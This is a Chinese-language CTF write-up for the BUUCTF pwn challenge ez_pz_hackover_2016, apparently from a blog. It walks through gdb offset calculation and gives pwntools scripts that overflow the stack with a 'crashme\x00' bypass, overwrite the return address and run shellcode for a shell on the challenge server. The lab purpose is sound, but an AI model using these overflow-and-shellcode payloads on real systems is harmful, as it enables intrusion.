32位,开启了RELRO保护,堆栈地址随机化

没有开启nx保护,可利用写入shellcode来获取shell



一开始给我们输出了参数s的地址

strcmp函数:

两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’\0’为止

也就是我们应该输入 ‘crashme\x00’ 可以绕过这个if检查,之后执行vuln函数

dest大小根本不是0x32,要动态调试看大小其实是 0x16

利用思路:

1.往s参数里写入shellcode,执行vuln函数后让dest造成溢出

2.将返回地址修改为shellcode的地址去执行

调试过程

1.找我们写入的shellcode在栈上的地址位置

在ida里找一个nop指令来下断点,我这边是利用0x8048600这个地址的nop

from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print hex(stack)payload='crashme\x00'+'aaaaaa'#前面的crashme\x00绕过if判断#后面的aaaa是测试数据,随便输入的,我们等等去栈上找它的地址#利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
p.sendline(payload)pause()#linxu下的暂停程序命令

按c执行下一步

输入stack30查看栈


ebp的位置是0x38,我们输入参数的位置是0x22.

看到了我们输入的数据,‘ashme’,由于对齐的原因,没有跟 ‘cr’ 连在一起,我们看它上一行0x63就是 ‘c’ ,0x72是 ‘r’
,由于小端序的原因,所以是这样的

我们看左边是0x20,但其实是0x22 ------- 0x7263f7f1 是从63开始读入数据的 即 23 22 21 20

ebp距离我们的输入点的距离是0x38-0x22=0x16;

shellcode应该写在ebp之后(32位程序的ebp占4个字节),就是在0x16+0x4处

在覆盖完ebp后的返回地址应该填写指向shellcode的地址

payload=‘crashme\x00’+‘a’*(0x16+0x4-8)+p32(addr)

-8是 ‘crashme\x00’ 占用了8字节,+4是用来覆盖ebp的

2.找到指向shellcode的地址

虽然地址会随机化但是偏移量不会变

开始得到了一个chall函数s栈上的地址0xffe1d35c

它在参数s栈上的相对位置是0x20

返回地址在参数s栈上的相对位置是0x3c(ebp+4)

输入点距离我们的返回地址的距离是0x3c-0x20=0x1c

0xffe1d35c-0x1c来表示返回地址

from pwn import *r=remote('node3.buuoj.cn',26843)
#p=process('./ez_pz_hackover_2016')
context.log_level='debug'#gdb.attach(p,'b *0x8048600')r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#利用pwntools自动生成shellcode
#print hex(stack)payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode
r.sendline(payload)#pause()r.interactive()

Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算相关推荐

  1. BUUCTF pwn ez_pz_hackover_2016

    0x01 文件分析  没有不可执行栈和段上的读写保护,可以做到很多事情.   0x02 运行  输入name并且回显,上面还有一个地址.   0x03 IDA  主要的漏洞点在这个函数内部的,chal ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF【ez_pz_hackover_2016】

    BUUCTF[ez_pz_hackover_2016] 例行检查 开了relro,其他保护机制都没开,扔到IDA中分析 漏洞分析 chall()函数中,有fgets(),但长度不够覆盖到返回地址,没法 ...

  4. BUUCTF pwn wp 76 - 80

    cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  7. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  8. BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget

    64位,开了nx保护 运行了一下程序 buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为" system('/bin/sh') 利用read函数 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

最新文章

  1. 【Python】Python字典的高级用法-统计计数
  2. TeamCity和GitLab整合
  3. Neo4j Java REST绑定–第2部分(批处理)
  4. 如何给光耦输入端限流
  5. MySQL安装配置步骤
  6. linux里关于Tab/Ctrl/Shift/Insert的快捷键
  7. 学习型红外遥控器的FPGA设计与实现
  8. rips php,审计PHP工具篇之 RIPS
  9. 如何运营出一个有吸引力的微信公众号?
  10. ASTERISK+LINUX+PHP 的WebCall, 网页回拨源码
  11. Ardunio开发实例-敲击传感器
  12. Redis(9)——史上最强【集群】入门实践教程
  13. 勾股数(毕达哥拉斯三元组)
  14. 【MySQL_添加唯一性约束】
  15. Tsukinai的第七十四个程序(输出字符串中的元音字母)
  16. CSS flex的一些属性
  17. mysql sdo geometry_Oracle 关于WKT构造SDO_GEOMETRY的问题。详解
  18. [转载] 解决No module named xxx 问题
  19. CSDN社区分享面试经历活动作品17——在广州闯荡的经历,不断去追求自己的梦想!
  20. 中国工程承包行业运营状况及未来发展方向预测报告(2022-2027年)

热门文章

  1. Dreamweaver8注册码
  2. 获取namespace
  3. 学习笔记之Fluent Python
  4. Rxjava、Retrofit返回json数据解析异常处理
  5. SpringCloud(第 057 篇)CentOS7 安装 maven 编译工具
  6. H5开发开发利器——flex
  7. 安装apache服务出错,无法启动此程序,因为计算机中丢失VCRUNTIME140.dll 尝试重新安装此程序以解决此问题...
  8. RHEL7 - 从命令行管理文件
  9. GRUB2 管理器—Grub Customizer
  10. WebPart(汇总)[转载]